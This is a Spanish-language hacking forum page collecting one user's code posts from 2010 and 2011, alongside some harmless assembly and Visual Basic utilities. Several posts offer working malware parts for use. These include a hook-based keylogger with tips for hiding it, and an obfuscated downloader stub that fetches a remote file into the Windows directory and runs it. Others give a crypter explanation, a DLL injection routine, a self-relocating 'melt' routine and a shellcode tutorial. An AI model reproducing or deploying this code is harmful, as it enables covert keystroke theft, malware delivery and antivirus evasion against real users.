Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Juan

#161
Dudas y pedidos generales / Re:pregunta
Marzo 19, 2011, 07:10:28 AM
Hola Adritex.

Claro qeu hay programas para crear trainers y cheats de los juegos.
Para poder crear un cheat/trainer de un juego tienes que saber un lenguaje de programación.

Lo puedes programar en C/C++ que es lo mas recomendable.

salu2!
#162
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Ofusca el code y sera uno de  esos modulos de los que habla el Katze  :P

:S
No tiene  nada que ver ofuscar este código con el autorun que genere....

salu2!
#163
Códigos Fuentes / KeyStroke
Marzo 03, 2011, 06:59:31 PM
Bueno, este es un código de Martyr de indetectables:

Código: c
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

char mensage[]="Hola a todos jaja bonito efecto este.\r\n";

void DynamicDelay()
{
srand(GetTickCount());
Sleep(rand()%300);
}

BOOL CALLBACK notepad(HWND hwnd, LPARAM lpParam)
{
   char szClassName[50] = {0}; //buffer (memoria) para el classname
   GetClassName(hwnd, szClassName, sizeof(szClassName)); //obtener el classname en szClassName
   if(strstr(szClassName, "Notepad")!=NULL) // busca el nombre en el szClassName
   {

      BringWindowToTop(hwnd);
      SetForegroundWindow(hwnd);
      SetFocus(hwnd);

      hwnd=GetDlgItem(hwnd, 15); // poner el window handle de control de escrituria
         if(hwnd!=NULL)
         {
            for(int i=0;i<strlen(mensage);i++)
            {   
               SendMessage(hwnd,WM_CHAR,mensage[i],0); //manda los virtual keys (chars) a la ventana de notepad
               DynamicDelay();

            }
            return false;
         }
   }
      return true;
}


void main()
{
   WinExec("notepad.exe",1);
   while(EnumWindows(notepad,0))Sleep(500);
}



Supongo que les sera util en alguna ocasion.

salu2!
#164
Muy bueno el artículo, se nota que sabes programar  :P.
Quizas el simple xor sea detectado por F-PROT o similares y tendrán que idear otra encriptación.. jejeje. Ya vi que lo pusistes tu. jeje

salu2!
#165
ASM / Funciones En Asm
Marzo 01, 2011, 12:18:06 PM
En este post pondré las funciones que valla creando en FAsm, poco iré rellenando el post :P




La funcion a continuación escrita compara dos cadenas.

Código: asm
proc Comparar,cadena1,cadena2
        ;Si son iguales  EAX = 1
        ;Si son diferentes EAX = 0
        mov esi,[cadena1]
        mov ecx,[cadena2]
        dec ecx
        bucle:
            inc ecx
            lodsb
            cmp byte[ecx],al
            jne diferentes
            cmp al,0
            je comprovar
            jmp bucle
        comprovar:
            cmp byte[ecx],0
            je iguales
            jne diferentes
        diferentes:
            mov eax,0
            ret
        iguales:
            mov eax,1
            ret
     endp


Ejemplo de uso:

Código: asm
include 'win32ax.inc'

.data
    palabra db 'Drinky94',0
    palabra2 db 'Drinky94',0

.code
start:
    stdcall Comparar,palabra,palabra2
    .if eax = 0
        invoke MessageBoxA,0,'Son Diferentes',0,0
    .else
        invoke MessageBoxA,0,'Son Iguales',0,0
    .endif
    ret

    proc Comparar,cadena1,cadena2
        ;Si son iguales  EAX = 1
        ;Si son diferentes EAX = 0
        mov esi,[cadena1]
        mov ecx,[cadena2]
        dec ecx
        bucle:
            inc ecx
            lodsb
            cmp byte[ecx],al
            jne diferentes
            cmp al,0
            je comprovar
            jmp bucle
        comprovar:
            cmp byte[ecx],0
            je iguales
            jne diferentes
        diferentes:
            mov eax,0
            ret
        iguales:
            mov eax,1
            ret
     endp
.end start





Funcion que mide la longitud de una cadena:

Código: asm
proc Len,Cadena
        ;ECX = Longitud de la cadena.
        mov eax,[Cadena]
        mov ecx,-1
        bucle:
            inc ecx
            cmp byte[eax+ecx],0
            jne bucle
        ret
endp


Ejemplo de su uso:

Código: asm
include 'win32ax.inc'

.data
    palabra db 'Drinky94',0
    longitud dd ?
.code
start:
    stdcall Len,palabra
    mov [longitud],ecx
    invoke GlobalAlloc,GPTR,1024
    push eax
    invoke wsprintfA,eax,"%d",[longitud]
    pop eax
    invoke MessageBox,0,eax,0,MB_OK
    leave
    ret

    proc Len,Cadena
        ;ECX = Longitud de la cadena
        mov eax,[Cadena]
        mov ecx,-1
        bucle:
            inc ecx
            cmp byte[eax+ecx],0
            jne bucle
        ret
    endp
.end start
   
#166
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Estimado.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

espero q lo leas y luego hablamos

Se lo que es ofuscado, pero pensaba que ivas  a enfocarlo a otro campo.. jeje.

salu2! y perdon por la confusion.
#167
Es un código interesante, pero no creo que ayude el orden con el que as puesto tu las lineas... el compilador va a generar el mismo codigo lo pongas normal o no.

Creo que tambien deberias esperificar que se debe compilar en Dev c++.

PD: lo muevo a código abierto.

salu2!
#168
Códigos Fuentes / Enumerar Procesos.
Febrero 28, 2011, 03:28:35 PM
Simple código para numerar los procesos activos:

Código: C
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <Tlhelp32.h>

int main()
{
    HANDLE CProc;
    PROCESSENTRY32 Proceso;
    int total;

total = 0;

CProc = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
Process32First(CProc,&Proceso);

while(Process32Next(CProc,&Proceso))
{
printf("%s\n",Proceso.szExeFile);
total++;
}

CloseHandle(CProc);

printf("\nHay un total de: %i procesos abiertos.\n",total);
system("PAUSE");

return 0;
}


salu2!
#169
Códigos Fuentes / File Manager
Febrero 27, 2011, 05:47:05 PM
Bueno, este es un simple modulo con el que puedes obtener los archivos y direcctorios de una ruta y tambien enumerar los discos.  El código esta creado por mi.

Código: vb
Option Explicit
Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function GetFileAttributes Lib "kernel32" Alias "GetFileAttributesA" (ByVal lpFileName As String) As Long
Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
Private Declare Function GetLogicalDrives Lib "kernel32" () As Long

Private Const FILE_ATTRIBUTE_DIRECTORY = &H10

Private Const MAX_PATH = 260
Private Const MAXDWORD = &HFFFF
Private Const INVALID_HANDLE_VALUE = -1

Private Type FILETIME
    dwLowDateTime As Long
    dwHighDateTime As Long
End Type
Private Type WIN32_FIND_DATA
     dwFileAttributes As Long
     ftCreationTime As FILETIME
     ftLastAccessTime As FILETIME
     ftLastWriteTime As FILETIME
     nFileSizeHigh As Long
     nFileSizeLow As Long
     dwReserved0 As Long
     dwReserved1 As Long
     cFileName As String * MAX_PATH
     cAlternate As String * 14
End Type

Public Function Unidades() As String
    Dim Retorno As Long
    Dim i As Long
    Dim Discos As String

    Retorno = GetLogicalDrives

    For i = 0 To 25
        If (Retorno And 2 ^ i) <> 0 Then
            Discos = Discos & "%%%%" & Chr$(65 + i)
         End If
    Next i

    Unidades = Discos
End Function

Public Function Nulos(Cadena As String) As String
    If InStr(Cadena, Chr(0)) <> 0 Then
        Cadena = Left(Cadena, InStr(Cadena, Chr(0)) - 1)
    End If
    Nulos = Cadena
End Function

Public Function Archivos(Ruta As String) As String
    Dim WFD As WIN32_FIND_DATA
    Dim Inicio As Long
    Dim Seguimos As Long
    Dim ListaArchivos As String

    Inicio = FindFirstFile(Ruta & "*", WFD)
    If Inicio = INVALID_HANDLE_VALUE Then
        Exit Function
    End If

    Seguimos = True

    Do While Seguimos
        If GetFileAttributes(Ruta & WFD.cFileName) = FILE_ATTRIBUTE_DIRECTORY Then
            ListaArchivos = ListaArchivos & Nulos(WFD.cFileName)
            ListaArchivos = ListaArchivos & "$$$$DIREC####"' si es un directorio se añade $$$$DIREC
        Else
            ListaArchivos = ListaArchivos & Nulos(WFD.cFileName)
            ListaArchivos = ListaArchivos & "####"

        End If
        Seguimos = FindNextFile(Inicio, WFD)
    Loop

    FindClose Inicio

    Archivos = ListaArchivos
End Function


salu2!

#170
Códigos Fuentes / Re:Keylogger basico
Febrero 26, 2011, 04:18:01 PM
Usa Hooks y no Getasynckeystate. Otro punto a mejorar es ocultar la consola, con showwindow se ve unos instantes, para que no se vea nada despues de compilar el exe cambia el subsystem con esto no se vera la consola la ocultes o no.

salu2!




EDIT: aqui te dejo un código de ejemplo de keylogger con hooks.

Código: C
//http://www.daniweb.com/code/snippet217096.html#
#define _WIN32_WINNT 0x0500

#include<fstream>
#include<windows.h>

using namespace std;

ofstream out("keys.txt", ios::out);

LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);

// If key is being pressed
if (wParam == WM_KEYDOWN) {
switch (p->vkCode) {

// Invisible keys
case VK_CAPITAL: out << "<CAPLOCK>"; break;
case VK_SHIFT: out << "<SHIFT>"; break;
case VK_LCONTROL: out << "<LCTRL>"; break;
case VK_RCONTROL: out << "<RCTRL>"; break;
case VK_INSERT: out << "<INSERT>"; break;
case VK_END: out << "<END>"; break;
case VK_PRINT: out << "<PRINT>"; break;
case VK_DELETE: out << "<DEL>"; break;
case VK_BACK: out << "<BK>"; break;

case VK_LEFT: out << "<LEFT>"; break;
case VK_RIGHT: out << "<RIGHT>"; break;
case VK_UP: out << "<UP>"; break;
case VK_DOWN: out << "<DOWN>"; break;

// Visible keys
default:
out << char(tolower(p->vkCode));

}
}

return CallNextHookEx(NULL, nCode, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {

// Set windows hook
HHOOK keyboardHook = SetWindowsHookEx(
WH_KEYBOARD_LL,
keyboardHookProc,
hInstance,
0);

MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);

out.close();

return 0;
}


#171
Bugs y Exploits / Creando Una ShellCode En Fasm.
Febrero 26, 2011, 12:58:34 PM
Bueno, ago este 'tutorial' porque me costo bastante pillar esto de como crear una ShellCode. Estube parte de la tarde de ayer y parte de la tarde de hoy para crear una propia ShellCode basiquita.

Conocimientos previos de ASM y algo de C y VB.

Lo primero que tenemos que hacer es saber lo que quieres que haga nuestra shellcode ( obvio,no?  :laugh:) me refiero a que api usara... para sacar la direccion de la api en su correspondiente libreria. Para eso usaremos un simple programilla creado en C:

Código: text
#include <windows.h>
#include <stdio.h>

/***************************************
arwin - win32 address resolution program
by steve hanna v.01
  vividmachines.com
  shanna      @uiuc.edu
you are free to modify this code
but please attribute me if you
change the code. bugfixes & additions
are welcome please email me!
to compile:
you will need a win32 compiler with
the win32 SDK

this program finds the absolute address
of a function in a specified DLL.
happy shellcoding!
***************************************/


int main(int argc, char** argv)
{
HMODULE hmod_libname;
FARPROC fprc_func;

printf("arwin - win32 address resolution program - by steve hanna - v.01\n");
if(argc < 3)
{
printf("%s <Library Name> <Function Name>\n",argv[0]);
exit(-1);
}

hmod_libname = LoadLibrary(argv[1]);
if(hmod_libname == NULL)
{
printf("Error: could not load library!\n");
exit(-1);
}
fprc_func = GetProcAddress(hmod_libname,argv[2]);

if(fprc_func == NULL)
{
printf("Error: could find the function in the library!\n");
exit(-1);
}
printf("%s is located at 0x%08x in %s\n",argv[2],(unsigned int)fprc_func,argv[1]);
}


yo por ejemplo voi a hacer que mi ShellCode haga un MessageBox. Osea que obtengo la direccion de [email protected] que es: 0x7E3D07EA
Y la direccion de otra API mas [email protected] que es: 0x7C801D7B

Con LoadLibrary lo que haremos sera cargar la libreria User32 para poder hacer el MessageBox.

Yo ya programe el código de mi ShellCode en Fasm:

Código: asm
; direcciones de funciones obtenidas en windows Sp3
Format PE GUI 4.0
entry start

include 'win32ax.inc'

start:
    stdcall funcion

    proc funcion
        call delta ; aplicamos la tecnica del Offset Delta
        delta:
            pop edx
            sub edx,delta
            mov ecx,edx
            add ecx,libreria

        mov eax,7C801D7Bh ;Metemos el eax la direccion de LoadLibrary@Kernel32

        push ecx   ; Metemos en la pila la libreria User32
        call eax     ;Llamamos a LoadLibrary  para cargar User32

        push 0
        push 0
        push 0
        push 0

        mov eax,7E3D07EAh ; Metemos en eax la direccion de MessageBoxA@User32.

        call eax  ; Llamamos a MessageBoxA
        ret
    endp
        libreria db 'user32.dll'

                                       


Si se fijan obtengo la direccion de la variable una vez esta cargado el código en memoria, ya que si simplemente metiera el código normal sin obtener la direccion de la variable en memoria petaría porque la variable seguramente no se encontraria en la misma direccion de memoria donde la compilamos  :).

Para obtener la direccion en memoria de la variable usamos la tecnica del " Delta Offset". Tutorial explicativo sobre como funciona esta tecnica You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login



Bien, aora que tenemos shellcode programada generamos el ejecutable y lo abrimos con el OllyDbg para obtener los opcodes a mano.

a mi me quedo una cosa así:



Aora copie linea por linea los opcodes. Seleccione la linea y hice Edit >Binary Copy.
Copie todos los opcodes en un bloc de notas y para pasarlo a una shellcode real utilizaremos una pequeña funcion programada por Messerschmitt en vb6:

Código: vb
Private Sub command1_click()
' codigo by Messerchmitt
Dim Drinky() As String
Drinky() = Split(Text1.Text, " ")
For a = LBound(Drinky) To UBound(Drinky)
Text2.Text = Text2.Text & Drinky(a) & "\x"
Next a
Text2.Text = "\x" & Mid(Text2.Text, 1, Len(Text2.Text) - 2)
End Sub


E Introduciendo los opcodes tal cual los optengo del Olly en el text1:

Código: text
E8 00 00 00 00 E8 00 00 00 00 5A 81 EA 0A 10 40 00 89 D1 81 C1 31 10 40 00 B8 7B 1D 80 7C 

Código: text
51 FF D0 6A 00 6A 00 6A 00 6A 00 B8 EA 07 3D 7E FF D0 C3 75 73 65 72 33 32 2E 64 6C 6C 00


Me saldra ya con formato de ShellCode en el text2:

Código: text
\xE8\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x5A\x81\xEA\x0A\x10\x40\x00\x89\xD1\x81\xC1

Código: text
\x31\x10\x40\x00\xB8\x7B\x1D\x80\x7C\x51\xFF\xD0\x6A\x00\x6A\x00\x6A\x00\x6A\x00\xB8\xEA\x07\x3D

Código: text
\x7E\xFF\xD0\xC3\x75\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x00


(Lo siento, parti las cadenas porque sino deforman el Post..)

:laugh: Aora solo provamos nuestra ShellCode (yo la prove en Dev c++ con la siguiente función):

Código: c
char code[] = "\xE8\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x5A\x81\xEA\x0A\x10\x40"\
"\x00\x89\xD1\x81\xC1\x31\x10\x40\x00\xB8\x7B\x1D\x80\x7C\x51\xFF\xD0\x6A\x00\x6A"\
"\x00\x6A\x00\x6A\x00\xB8\xEA\x07\x3D\x7E\xFF\xD0\xC3\x75\x73\x65\x72\x33\x32\x2E"\
"\x64\x6C\x6C\x00";

int main()
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}



Y vemos que funciona  :D:



Maravilloso,no?
jaja, bueno aora podrán crear sus shellcodes desde FAsm y porlomenos si fallan en algo, ya no caeran en las mismas tonterias que cai yo..



Este tutorial no habría sido posible sin el Tutorial De |Shadow| con el que me inicie. Tambien quiero agradecer a Zero toda la ayuda que me da y como no a Jep... este tutorial va dedicado a el  :cura:

PD: tambien a MesserschatGay por ese código en VB.  ;)


Espero que les halla gustado. sin mas que decir me despido.

salu2!,Drinky94.
#172
Bueno, este es el código fuente del Stub del mDownloader, un Downloader programado por mi en Asm.

Código: asm
include 'win32ax.inc'

.data
    manija dd ?
    larchivo dd ?
    espacio dd ?
    bleidos dd ?
    dll db 'rukjhi)ckk',0
    funcion db 'RUKChpikhfcShAnkbF',0
    añadir db '%windir%\archivo.exe',0
    ruta dd ?

.code
start:
        xor  eax, eax
        mov  eax, [FS:eax+0x30]
        mov  eax, [DS:eax+0x10]
        mov  eax, [DS:eax+0x3C]

        invoke CreateFileW,eax, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
        mov [manija],eax
        invoke GetFileSize,[manija],0
        mov [larchivo],eax
        invoke GlobalAlloc,GPTR,[larchivo]
        mov [espacio],eax
        invoke ReadFile,[manija],[espacio],[larchivo],addr bleidos,0
        invoke CloseHandle,[manija]

        mov ecx,1
        mov eax,[espacio]
        add [larchivo],10
        bucle:

            .if byte[eax+ecx] = '#'
                inc ecx
                .if byte[eax+ecx] = '#'
                    inc ecx
                    .if byte[eax+ecx] = '#'
                        inc ecx
                        add eax,ecx
                        mov [espacio],eax
                        jmp salir
                    .endif
                    dec ecx
                .endif
                dec ecx
             .endif

             .if ecx > [larchivo]
                 jmp salir
             .endif

             inc ecx
             jmp bucle

        salir:

        invoke GlobalAlloc,GPTR,1024
        mov [ruta],eax
        invoke ExpandEnvironmentStrings,añadir,[ruta],1024

        stdcall Cifrar,dll
        invoke LoadLibrary,eax

        push eax
        stdcall Cifrar,funcion
        mov ecx,eax
        pop eax

        invoke GetProcAddress,eax,ecx

        push 0
        push 0
        push [ruta]
        push [espacio]
        push 0

        call eax

        invoke ShellExecute,0,"open",[ruta],0,0,0

        leave
        ret

        proc Cifrar,Cadena
            xor ecx,ecx
            mov eax,[Cadena]
            .bucle:
                .if byte[eax+ecx] = 0
                    jmp .salir
                .endif
                xor byte[eax+ecx],7
                inc ecx
                jmp .bucle
            .salir:
            ret
         endp
.end start   


salu2!
#173
La idea básica de un cripter es que hay 1 (programa A) que en su interior guarda otro programa (programa B) el programa B esta cifrado dentro del programa A. Normalmente el Programa A suele guardar el programa B al final de sus datos, separandolo por alguna marca pero tambien se puede guardar como recurso.
Su modo de tabajo el facil, cuando ejecutas el programa A obtiene el archivo B, lo desencripta y ejecuta en memoria o lo genera en el disco y lo ejecuta.

Para introducir los datos del programa B en el A se usa un Cliente y el programa A del que e hablado asta aora es el Stub.

Espero que se halla entendido mas o menos...

salu2!
#174
No veo que problema tienes, yo uso tu funcion dela siguiente manera:

Código: text
Private Sub Form_Load()
    Call Agregar("c:\hola.txt", "hola mundo!")
End Sub
Function Agregar(File As String, Texto As String)
Dim Cadena As String
Open File For Input As #1
Do While Not EOF(1)
Line Input #1, Cadena
If Cadena = Texto Then
MsgBox ("Este Path ya está registrado"), vbInformation, ("Add Path")
End If
Loop
Close #1
Open File For Append As #1
Print #1, , vbCrLf & Texto
Close #1
End Function


y me funciona correctamente sin generar espacio XD

PD: esto iria en Visual basic no en codigo abierto vb

salu2!
#175
Códigos Fuentes / Formatear unidades
Agosto 30, 2010, 06:37:34 PM
Aqui les dejo otro ejemplo mas, esta vez sobre como formatear unidades desde vb:

Código: vb
 ' By Drinky94
Option Explicit
Private Declare Function SHFormatDrive Lib "shell32" ( _
    ByVal hwnd As Long, _
    ByVal Drive As Long, _
    ByVal fmtID As Long, _
    ByVal options As Long) As Long
Private Sub Formatear(ByVal unidad As String)
    Dim format As String
    format = SHFormatDrive(Me.hwnd, unidad, 0, 0)
    If format = SHFMT_ERROR Then
        MsgBox "Ha ocurido un error durante el formateo"
    ElseIf format = SHFMT_CANCEL Then
        MsgBox "El formateo fue cancelado"
    ElseIf format = SHFMT_NOFORMAT Then
        MsgBox "La unidad no puede ser formateada"
    Else
        MsgBox "La unida ha sido formateada con exito"
    End If
End Sub



salu2!
#176
Códigos Fuentes / Leer Archivo mediante Api
Agosto 30, 2010, 06:36:33 PM
Este es un ejemplo que hice hace un tiempo de como leer archivos mediante api:

Código: vb
' By Drinky94
Option Explicit

Public Declare Function CreateFile Lib "kernel32.dll" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As SECURITY_ATTRIBUTES, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Public Declare Function ReadFile Lib "kernel32.dll" (ByVal hFile As Long, ByRef lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, ByRef lpNumberOfBytesRead As Long, ByRef lpOverlapped As Any) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long


Public Const GENERIC_READ = &H80000000
Public Const FILE_SHARE_READ = &H1
Public Const FILE_ATTRIBUTE_NORMAL = &H80
Public Const OPEN_EXISTING As Long = 3

Public Type SECURITY_ATTRIBUTES
    nLength As Long
    lpSecurityDescriptor As Long
    bInheritHandle As Long
End Type
Public Type OVERLAPPED
    ternal As Long
    ternalHigh As Long
    offset As Long
    OffsetHigh As Long
    hEvent As Long
End Type


Public Function Archivo(ruta As String) As Boolean
    Dim abrirarchivo As Long
    Dim sa As SECURITY_ATTRIBUTES
    Dim leerarchivo As Long
    Dim over As OVERLAPPED
    Dim buffer As String
    Dim nada As Long
    Dim bytesleidos As Long
    abrirarchivo = CreateFile(ruta, GENERIC_READ, FILE_SHARE_READ, sa, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0)
    buffer = Space(FileLen(ruta))
    leerarchivo = ReadFile(abrirarchivo, ByVal buffer, FileLen(ruta), bytesleidos, over)
    Call CloseHandle(abrirarchivo)
    MsgBox buffer
End Function

Sub Main()
    Call Archivo("c:\feo.txt")
End Sub


salu2!
#177
Ahi le sva el source:

Código: vb
'By Drinky94
Option Explicit
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" ( _
    ByVal hWnd1 As Long, _
    ByVal hWnd2 As Long, _
    ByVal lpsz1 As String, _
    ByVal lpsz2 As String) As Long
Private Declare Function ShowWindow Lib "user32" ( _
    ByVal hwnd As Long, _
    ByVal nCmdShow As Long) As Long
Const SW_SHOW = 5
Const SW_HIDE = 0
Enum Estado
    Visible = 1
    Oculto = 0
End Enum
Public Function Iconos(queacer As Estado)
    Dim ventana As String
    Dim modo As String
    ventana = FindWindowEx(0&, 0&, "Progman", vbNullString)
    If queacer = 0 Then
        modo = ShowWindow(ventana, SW_HIDE)
    Else
        modo = ShowWindow(ventana, SW_SHOW)
    End If
End Function



salu2!
#178
Códigos Fuentes / Inyeccion Dll
Agosto 30, 2010, 06:34:42 PM
Bueno aqui les dejo esta inyeccion dll que cree hace un tiempo:

Código: vb
'***********************************
'** Inyeccion Dll By Drinky94     **
'** Fecha: 16- Junio - 2010       **
'***********************************
Option Explicit

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function OpenProcess Lib "Kernel32.dll" (ByVal dwDesiredAccessas As Long, ByVal bInheritHandle As Long, ByVal dwProcId As Long) As Long
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long
Private Declare Function CreateRemoteThread Lib "kernel32" (ByVal hProcess As Long, lpThreadAttributes As Long, ByVal dwStackSize As Long, lpStartAddress As Long, lpParameter As Any, ByVal dwCreationFlags As Long, lpThreadId As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Const STANDARD_RIGHTS_REQUIRED As Long = &HF0000
Const SYNCHRONIZE As Long = &H100000
Const PROCESS_ALL_ACCESS As Long = (STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &HFFF)
Const MEM_COMMIT As Long = &H1000
Const PAGE_READWRITE As Long = &H4

Public Function Inyectar(Ruta As String, NameWindow As String, RutaDll As String) As Boolean
    On Error GoTo Error
    Dim IdWin As Long
    Dim IdProc As Long
    Dim ProcMan As Long
    Dim EsMe As Long
    Dim NBytes As Long
    Dim Fun As Long
    Dim IdHil As Long
    ShellExecute 0, "open", Ruta, 0, 0, 0
    Sleep (10000)
    IdWin = FindWindow(vbNullString, NameWindow)
    If IdWin = 0 Then GoTo Error
    GetWindowThreadProcessId IdWin, IdProc
    If IdProc = 0 Then GoTo Error
    ProcMan = OpenProcess(PROCESS_ALL_ACCESS, False, IdProc)
    Debug.Print Err.LastDllError
    If ProcMan = 0 Then GoTo Error
    EsMe = VirtualAllocEx(ProcMan, 0, Len(RutaDll), MEM_COMMIT, PAGE_READWRITE)
    Debug.Print Err.LastDllError
    WriteProcessMemory ProcMan, ByVal EsMe, ByVal RutaDll, Len(RutaDll), NBytes
    Fun = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA")
    CreateRemoteThread ProcMan, ByVal 0, 0, ByVal Fun, ByVal EsMe, 0, IdHil
    CloseHandle ProcMan
    Inyectar = True
    Exit Function
Error:
    MsgBox "Error al inyectar la DLL", vbCritical, "Error"
    Inyectar = False
End Function


Ejemplo de uso ( en un modulo):

Código: vb
Sub main()
    Dim retorno As Boolean
    retorno = Inyectar("c:\windows\system32\calc.exe", "Calculadora", "C:\fary.dll")
    If retorno = 0 Then
        MsgBox "La Dll no se pudo inyectar"
    Else
        MsgBox "La Dll se a inyectado con Exito"
    End If
End Sub



salu2!

#179
Bueno aqui les dejo un melt simple que cree hace un tiem po y lo tenia por ahi tirado xD

Código: text
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Public Function DrinkyMelt(Datos As String) As Boolean
If App.Path = Environ("windir") Then
Kill Datos
' Llegados a este punto ya hemos temrinado el melt y tenemos que llamar a la funcion normal para que siga la ejecucion ejemplo:
' Call Inyectar
Else
FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("Windir") & "\Melt.exe"
Call ShellExecute(0, "Open", Environ("Windir") & "\Melt.exe", App.Path & "\" & App.EXEName & ".exe", vbNullString, 0)
End
End If
End Function

Private Sub form_load()
Call DrinkyMelt(Command)
End Sub


salu2!